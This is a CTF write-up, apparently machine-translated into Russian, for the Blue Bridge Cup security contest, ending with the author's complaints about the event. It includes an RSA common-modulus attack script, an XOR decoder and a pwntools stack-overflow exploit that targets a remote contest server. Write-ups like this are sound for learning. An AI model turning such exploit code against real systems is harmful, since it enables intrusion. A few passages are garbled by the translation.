[TOC]
Как сказать, из-за каких-то странных операций в соревновании по сетевой безопасности Blue Bridge Cup я не записался. Большие ребята в команде участвовали и получили очень хорошие результаты. Это прямой переход на чужой WP.
Согласно подсказке исходного кода, HackBar напрямую изменяет заголовок запроса Client-IP:
WireShark нашел flag.zip:
Я обнаружил, что мне нужно распаковать пароль. Формат пароля указан в комментариях к сжатому пакету. Взломать с помощью ARCHPR:
Заходим в Cyberchef, сначала ROT13 (кажется, это шифр Цезаря, при расшифровке Amount нужно корректировать), а потом декодируем Base64:
Атака в общем режиме RSA:
from Crypto.Util.number import *
import gmpy2
import random
random.seed(123456)
e1 = random.randint(100000000, 999999999)
e2 = 65537
n =
7265521127830448713067411832186939510560957540642195787738901620268897564963900603849624938868472135068795683478994264434459545615489055678687748127470957
m1 =
3315026215410356401822612597933850774333471554653501609476726308255829187036771889305156951657972976515685121382853979526632479380900600042319433533497363
m2 =
1188105647021006315444157379624581671965264301631019818847700108837497109352704297426176854648450245702004723738154094931880004264638539450721642553435120
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
m1 = gmpy2.invert(m1, n)
if t < 0:
t = -t
m2 = gmpy2.invert(m2, n)
m1 = gmpy2.powmod(m1, s, n)
m2 = gmpy2.powmod(m2, t, n)
m = m1 * m2 % n
flag = long_to_bytes(m)
print(flag)
Прямая динамическая отладка IDA: когда основная функция возвращается, вы можете видеть, что содержимое исходной переменной v5 было изменено на флаг через RC4:
Программа выполняет XOR открытого текста и ключа, и мы снова выполняем XOR зашифрованного текста, чтобы получить флаг.
exp:
key = 'SEcRET7'
enc = [0x35, 0x29, 0x02, 0x35, 0x3E, 0x35, 0x0F, 0x60,
0x20, 0x06, 0x64, 0x26, 0x65, 0x1A, 0x61, 0x77,
0x5A, 0x64, 0x68, 0x60, 0x53, 0x60, 0x20, 0x4E,
0x6B, 0x21, 0x67, 0x54, 0x7E, 0x71, 0x51, 0x64,
0x75, 0x60, 0x51, 0x64, 0x73, 0x05, 0x65, 0x21,
0x61, 0x4A]
for i in range(len(enc)):
enc[i] ^= ord(key[i % 7])
for x in enc:
print(chr(x), end='')
getsфункцияпереполнение стекалазейки, просто измените обратный адрес на функцию бэкдора:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# p = process('./pwn')
# libc = ELF('../../glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
p = remote('101.200.77.68', '12451')
# libc = ELF('./libc-2.27.so')
def dbg():
gdb.attach(p)
pause()
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
backdoor = 0x4011B1
payload = b'B' * 0x20 + b'deadbeef' + p64(backdoor)
p.sendline(payload)
ia()
Нижеизложенное является личным мнением
Кубок Ланьцяо в этом году можно назвать беспорядком. Это первое платное соревнование по интернет-безопасности, это первый наблюдатель с двумя камерами, в котором одновременно запрещена проверка внешних сетей и даже протоколов. В этом году турнир Blue Bridge Cup Internet Security имеет новаторское значение.
Если я правильно помню, первый раз было запланировано 27-28 мая, а потом, как и ожидалось, произошло столкновение с CISCN, а потом время было изменено и так далее. Мне, как человеку, который смотрит весело, очень понравилось. В то же время некоторые колледжи и университеты в этом году, в университетах, которые сотрудничают с Blue Bridge Cup, продвигают соревнования по кибербезопасности Blue Bridge Cup среди студентов, которые никогда не подвергались воздействию CTF...
Конечный результат таков, что третий приз можно стабилизировать всего одним вопросом в провинциальном соревновании. Полный лидер команды даже ненадолго возглавил предварительный раунд соревнования и, наконец, вошел в число 50 лучших, благодаря алгоритму. Кубок Blue Bridge Cup настолько известен, что некоторые братья, которые никогда не сталкивались с CTF, записались на соревнование по сетевой безопасности Blue Bridge Cup и в конце концов не получили 0 ответов.
Могу только сказать, что не могу и не хочу комментировать, пока вы довольны как организатор Blue Bridge Cup.